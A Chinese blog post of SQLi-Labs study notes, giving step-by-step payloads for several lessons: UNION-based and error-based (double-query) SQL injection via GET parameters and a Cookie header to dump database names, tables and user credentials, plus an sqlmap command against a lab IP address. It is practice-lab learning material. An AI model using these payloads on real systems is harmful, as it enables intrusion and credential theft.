SQLi-LABS学习笔记(更新中)


SQLi-Labs是一个专业的SQL注入练习平台,以前也偶尔练习过一些些关卡,但一直没有系统的练习全部关卡过,希望这次可以坚持下去吧~~

SQLi-LABS闯关游戏下载地址:https://github.com/Audi-1/sqli-labs

Less-1(GET单引号字符型注入)

请求方式 注入类型 拼接方式
GET 单引号字符型注入 id=’$id’
#查看页面变化,判断sql注入类别
?id=1 and 1=1
?id=1 and 1=2

#确定字段数 #不能用#【注意1】
?id=1' order by 3 --+
?id=1' order by 4 %23

#联合查询查看显示位 #id要为负数【注意2】
?id=-1' union select 1,2,3 --+

#爆库【security】
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1' union select 1,2,database() --+   

#爆表【emails,referers,uagents,users】
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

#爆列【...id,username,password...】
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

#爆值【DumbDumb...】
?id=-1' union select 1,2,group_concat(username,password) from users --+

注意1:URL框中的sql语句中不能用直接使用#号,要用--+(等价于–空格)或者%23,但是输入框中可以用#,应为输入框提交是会执行一次URL编码,#会被编译成%23
原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#
将#号改成url的编码%23或者使用--+就可以了

注意2:在联合查询查看显示位,使用union联合查询后发现页面返回的数据没变,这是因为如果左边的SQL语句正确执行那么就会只返回左边第一个查询语句的运行结果,那么我们只要让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了。

这个id传递的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行,主要是使左边的查询语句报错就行。

Less-2(GET数字型注入)

请求方式 注入类型 拼接方式
GET 数字型注入 id=$id
#查看页面变化,判断sql注入类别
?id=1 and 1=1
?id=1 and 1=2

#确定字段数
?id=1 order by 3
?id=1 order by 4 

#联合查询查看显示位
?id=-1 union select 1,2,3

#爆库
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
?id=-1 union select 1,2,database()

#爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

#爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

#爆值
?id=-1 union select 1,2,group_concat(username,password) from users

Less-3(GET单引号变形字符型注入)

请求方式 注入类型 拼接方式
GET 单引号变形字符型注入 id=(‘$id’)
#查看页面变化,判断sql注入类别
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 3 --+
#报错 for the right syntax to use near 'order by 3 -- ') LIMIT 0,1' at line 1
#由错误提示可知后台查询语句应为select * from * where id = ('$id') LIMIT 0,1
#构造?id=1') --+ 进行测试。访问正常,猜测正确。

#确定字段数
?id=1') order by 3 --+
?id=1') order by 4 --+

#联合查询查看显示位
?id=-1') union select 1,2,3 --+
#爆库
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1') union select 1,2,database() --+

#爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

#爆列
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

#爆值
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

Less-4(GET双引号字符型注入)

请求方式 注入类型 拼接方式
GET 双引号字符型注入 id=”$id”
#查看页面变化,判断sql注入类别
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 4 --+
?id=1" order by 4 --+
#报错  to use near 'order by 4 -- ") LIMIT 0,1' at line 1
#由错误提示可知后台查询语句应为select * from * where id = ("$id") LIMIT 0,1
#构造?id=1") --+ 进行测试。访问正常,猜测正确。

#确定字段数
?id=1") order by 3 --+
?id=1") order by 4 --+

#联合查询查看显示位
?id=-1") union select 1,2,3 --+

#爆库
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1") union select 1,2,database() --+

#爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

#爆列
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

#爆值
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

Less-5(GET单引号字符型双查询注入)

请求方式 注入类型 拼接方式
GET 单引号字符型双查询注入 id=’$id’
#查看页面变化,判断sql注入类别
?id=1
?id=1'

#确定字段数
?id=1' order by 3 --+
?id=1' order by 4 --+

#联合查询查看显示位
?id=-1' union select 1,2,3 --+

#爆库【Duplicate entry 'security-1' for key ''】
?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+

#爆表【Duplicate entry 'emails,referers,uagents,users-0' for key ''】
?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2))as a from information_schema.tables group by a--+

#爆列【Duplicate entry '...,id,username,password,' for key ''】
?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand()*2))as a from information_schema.tables group by a--+

#爆值【Duplicate entry '1*Dumb*Dumb-1' for key ''】
?id=-1' union select 1,count(*),concat_ws('-',(select concat_ws('*',id,username,password) from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a--+
#注意:因为这里查询结果只能一行,所以不能用group_concat(),使用group_concat()查询结果超过一行,可以修改limit的范围来遍历用户信息。

Less-6(GET双引号字符型双查询注入)

请求方式 注入类型 拼接方式
GET 双引号字符型双查询注入 id=”$id”

和 Less-5 差别只在于单双引号,可用Less-5方法进行注入,这里不再赘述。

Less-7(GET导出文件字符型注入)

请求方式 注入类型 拼接方式
GET 导出文件字符型注入 id=(‘$id’)

Less-18(POST单引号UA注入)

Less-19(POST单引号Referer注入)

Less-20(POST单引号Cookie注入)

请求方式 注入类型 拼接方式
POST 单引号Cookie注入 username=’$cookee’

手工注入

进来先输入用户名密码(admin/admin),测试一下,发现是关于cookie值的进行注入,那我们就Burp抓包进行注入

#修改Cookie,查看页面变化,判断sql注入类别
Cookie: uname=admin
Cookie: uname=admin'

#确定字段数
Cookie: uname=jwt' order by 3 --+
Cookie: uname=jwt' order by 4 --+

#联合查询查看显示位
Cookie: uname=jwt' union select 1,2,3 --+

#爆库
Cookie: uname=jwt' union select 1,2,database() --+

#爆表
Cookie: uname=jwt' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

#爆列
Cookie: uname=jwt' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

#爆值
Cookie: uname=jwt' union select 1,group_concat(username),group_concat(password) from users --+

Sqlmap

sqlmap -u http://139.224.112.182:8087/sqli1/Less-20/index.php --cookie 'uname=admin' --level 2 --dbs

赞助💰

如果你觉得对你有帮助,你可以请我喝一杯冰可乐!嘻嘻🤭

支付宝支付 微信支付

文章作者: 简文涛
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 简文涛 !
评论
填上邮箱会收到评论回复提醒哦!!!
 上一篇
Cobalt Strike 学习记录 Cobalt Strike 学习记录
Cobalt Strike(简称“CS”)是一款团队作战渗透测试神器,分为客户端和服务端,一个服务端可以对应多个客户端,一个客户端可以连接多个服务端,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成
2020-07-26
下一篇 
CTFHub-技能树-Web CTFHub-技能树-Web
最近一段时间一直在复习Web基础知识,光看生硬的知识点也无趣,就想着边刷题边复习吧,正好看到群里在推荐CTFHub这个平台,于是我就开始刷CTFHub技能树啦🎈 Web前置技能HTTP协议 HTTP是Hyper Text Transfer
2020-07-14
  目录